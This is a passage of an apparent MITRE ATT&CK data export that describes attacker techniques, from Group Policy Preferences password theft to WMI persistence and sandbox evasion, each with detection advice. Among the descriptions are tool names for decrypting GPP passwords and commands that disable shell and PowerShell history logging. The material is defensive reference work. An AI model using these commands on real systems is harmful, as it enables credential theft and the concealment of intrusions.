"description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
"external_id": null,
"source_name": "Microsoft Command-line Logging",
"url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
},
{
"description": "Microsoft. (2023, March 10). LogonUserW function (winbase.h). Retrieved January 8, 2024.",
"external_id": null,
"source_name": "LogonUserW function",
"url": "https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.
Analysts can also monitor for use of Windows APIs such as <code>LogonUser</code> and <code> SetThreadToken</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-11T18:43:06.253000Z" | "2020-06-17T14:25:38.082000Z" | Group Policy Preferences | Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)
These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)
The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:
* Metasploit’s post exploitation module: <code>post/windows/gather/credentials/gpp</code>
* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)
* gpprefdecrypt.py
On the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: <code>dir /s * .xml</code>
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1552.006",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1552/006"
},
{
"description": "Microsoft. (2016, August 31). Group Policy Preferences. Retrieved March 9, 2020.",
"external_id": null,
"source_name": "Microsoft GPP 2016",
"url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)"
},
{
"description": "Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018.",
"external_id": null,
"source_name": "Microsoft GPP Key",
"url": "https://msdn.microsoft.com/library/cc422924.aspx"
},
{
"description": "Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018.",
"external_id": null,
"source_name": "Obscuresecurity Get-GPPPassword",
"url": "https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html"
},
{
"description": "Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.",
"external_id": null,
"source_name": "ADSecurity Finding Passwords in SYSVOL",
"url": "https://adsecurity.org/?p=2288"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for attempts to access SYSVOL that involve searching for XML files.
Deploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-15T15:34:30.767000Z" | "2021-10-15T22:44:11.953000Z" | Exfiltration Over Asymmetric Encrypted Non-C2 Protocol | Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Asymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin.
Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
] | false | [
{
"description": null,
"external_id": "T1048.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1048/002"
},
{
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"external_id": null,
"source_name": "University of Birmingham C2",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-21T21:08:36.570000Z" | "2021-03-16T12:54:41.133000Z" | Cloud Account | Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.
With authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)
The AWS command <code>aws iam list-users</code> may be used to obtain a list of users in the current account while <code>aws iam list-roles</code> can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, <code>gcloud iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code> may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1087.004",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1087/004"
},
{
"description": "Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.",
"external_id": null,
"source_name": "Microsoft msolrolemember",
"url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0"
},
{
"description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.",
"external_id": null,
"source_name": "GitHub Raindance",
"url": "https://github.com/True-Demon/raindance"
},
{
"description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
"external_id": null,
"source_name": "Microsoft AZ CLI",
"url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"
},
{
"description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.",
"external_id": null,
"source_name": "Black Hills Red Teaming MS AD Azure, 2018",
"url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/"
},
{
"description": "Amazon. (n.d.). List Roles. Retrieved August 11, 2020.",
"external_id": null,
"source_name": "AWS List Roles",
"url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html"
},
{
"description": "Amazon. (n.d.). List Users. Retrieved August 11, 2020.",
"external_id": null,
"source_name": "AWS List Users",
"url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html"
},
{
"description": "Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.",
"external_id": null,
"source_name": "Google Cloud - IAM Servie Accounts List API",
"url": "https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Google Workspace"
] | 1.2 |
attack-pattern | attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:48.728000Z" | "2024-04-16T12:43:55.369000Z" | Process Discovery | Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
In Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or <code>Get-Process</code> via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as <code>CreateToolhelp32Snapshot</code>. In Mac and Linux, this is accomplished with the <code>ps</code> command. Adversaries may also opt to enumerate processes via `/proc`.
On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1057",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1057"
},
{
"description": "Cisco. (2022, August 16). show processes - . Retrieved July 13, 2022.",
"external_id": null,
"source_name": "show_processes_cisco_cmd",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_monitor_permit_list_through_show_process_memory.html#wp3599497760"
},
{
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "US-CERT-TA18-106A",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
For network infrastructure devices, collect AAA logging to monitor for `show` commands being run by non-standard users from non-standard locations. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Network"
] | 1.5 |
attack-pattern | attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-21T20:56:06.498000Z" | "2023-03-30T21:01:47.940000Z" | Impair Command History Logging | Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.
On Linux and macOS, command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected.
Adversaries may clear the history environment variable (<code>unset HISTFILE</code>) or set the command history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging of commands. Additionally, <code>HISTCONTROL</code> can be configured to ignore commands that start with a space by simply setting it to "ignorespace". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.
On Windows systems, the <code>PSReadLine</code> module tracks commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt</code> by default). Adversaries may change where these logs are saved using <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. This will cause <code>ConsoleHost_history.txt</code> to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command <code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code>.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)
Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging (e.g. <code>no logging</code>). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1562.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1562/003"
},
{
"description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.",
"external_id": null,
"source_name": "Sophos PowerShell command audit",
"url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit"
},
{
"description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.",
"external_id": null,
"source_name": "Microsoft PowerShell Command History",
"url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7"
},
{
"description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020.",
"external_id": null,
"source_name": "Sophos PowerShell Command History Forensics",
"url": "https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code>, <code>HISTFILE</code>, or <code>HISTFILESIZE</code> environment variables may be suspicious.
Monitor for modification of PowerShell command history settings through processes being created with <code>-HistorySaveStyle SaveNothing</code> command-line arguments and use of the PowerShell commands <code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code> and <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform. Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Network"
] | 2.2 |
attack-pattern | attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2023-03-30T22:45:00.431000Z" | "2023-05-04T18:02:51.318000Z" | Network Provider DLL | Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify)
Adversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify)
Adversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1556.008",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1556/008"
},
{
"description": " Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved March 30, 2023.",
"external_id": null,
"source_name": "NPPSPY - Huntress",
"url": "https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy"
},
{
"description": "Grzegorz Tworek. (2021, December 14). How winlogon.exe shares the cleartext password with custom DLLs. Retrieved March 30, 2023.",
"external_id": null,
"source_name": "NPPSPY Video",
"url": "https://www.youtube.com/watch?v=ggY3srD9dYs"
},
{
"description": "Grzegorz Tworek. (2021, December 15). NPPSpy. Retrieved March 30, 2023.",
"external_id": null,
"source_name": "NPPSPY",
"url": "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy"
},
{
"description": "Microsoft. (2021, January 7). Network Provider API. Retrieved March 30, 2023.",
"external_id": null,
"source_name": "Network Provider API",
"url": "https://learn.microsoft.com/en-us/windows/win32/secauthn/network-provider-api"
},
{
"description": "Microsoft. (2021, October 21). NPLogonNotify function (npapi.h). Retrieved March 30, 2023.",
"external_id": null,
"source_name": "NPLogonNotify",
"url": "https://learn.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
|
attack-pattern | attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-24T14:07:56.276000Z" | "2024-04-13T14:08:20.882000Z" | Windows Management Instrumentation Event Subscription | Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.(Citation: Mandiant M-Trends 2015)
Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts – using `mofcomp.exe` –into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)
WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1546.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/003"
},
{
"description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
"external_id": null,
"source_name": "FireEye WMI 2015",
"url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
},
{
"description": "Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.",
"external_id": null,
"source_name": "Dell WMI Persistence",
"url": "https://www.secureworks.com/blog/wmi-persistence"
},
{
"description": "Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020.",
"external_id": null,
"source_name": "FireEye WMI SANS 2015",
"url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf"
},
{
"description": "French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019.",
"external_id": null,
"source_name": "Medium Detecting WMI Persistence",
"url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"
},
{
"description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.",
"external_id": null,
"source_name": "Elastic - Hunting for Persistence Part 1",
"url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1"
},
{
"description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.",
"external_id": null,
"source_name": "Mandiant M-Trends 2015",
"url": "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf"
},
{
"description": "Microsoft. (n.d.). Retrieved January 24, 2020.",
"external_id": null,
"source_name": "Microsoft Register-WmiEvent",
"url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1"
},
{
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"external_id": null,
"source_name": "TechNet Autoruns",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
},
{
"description": "Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020.",
"external_id": null,
"source_name": "Microsoft MOF May 2018",
"url": "https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI <code>EventFilter</code>, <code>EventConsumer</code>, and <code>FilterToConsumerBinding</code> events. Event ID 5861 is logged on Windows 10 systems when new <code>EventFilterToConsumerBinding</code> events are created.(Citation: Elastic - Hunting for Persistence Part 1)
Monitor processes and command-line arguments that can be used to register WMI persistence, such as the <code> Register-WmiEvent</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.4 |
attack-pattern | attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T16:59:56.648000Z" | "2021-04-15T03:47:55.905000Z" | CDNs | Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region.
Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1596.004",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1596/004"
},
{
"description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "DigitalShadows CDN",
"url": "https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
attack-pattern | attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-06T21:04:12.454000Z" | "2021-10-18T14:57:48.362000Z" | User Activity Based Checks | Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)
Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1497.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1497/002"
},
{
"description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.",
"external_id": null,
"source_name": "Deloitte Environment Awareness",
"url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc"
},
{
"description": "Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019.",
"external_id": null,
"source_name": "Sans Virtual Jan 2016",
"url": "https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667"
},
{
"description": "Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019.",
"external_id": null,
"source_name": "Unit 42 Sofacy Nov 2018",
"url": "https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/"
},
{
"description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
"external_id": null,
"source_name": "FireEye FIN7 April 2017",
"url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--926d8cfd-1d0d-4da2-ab49-3ca10ec3f3b5 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2022-05-27T14:06:05.130000Z" | "2022-10-25T15:49:14.785000Z" | Cloud Accounts | Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)
Creating [Cloud Accounts](https://attack.mitre.org/techniques/T1585/003) may also require adversaries to establish [Email Accounts](https://attack.mitre.org/techniques/T1585/002) to register with the cloud provider. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1585.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1585/003"
},
{
"description": "Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.",
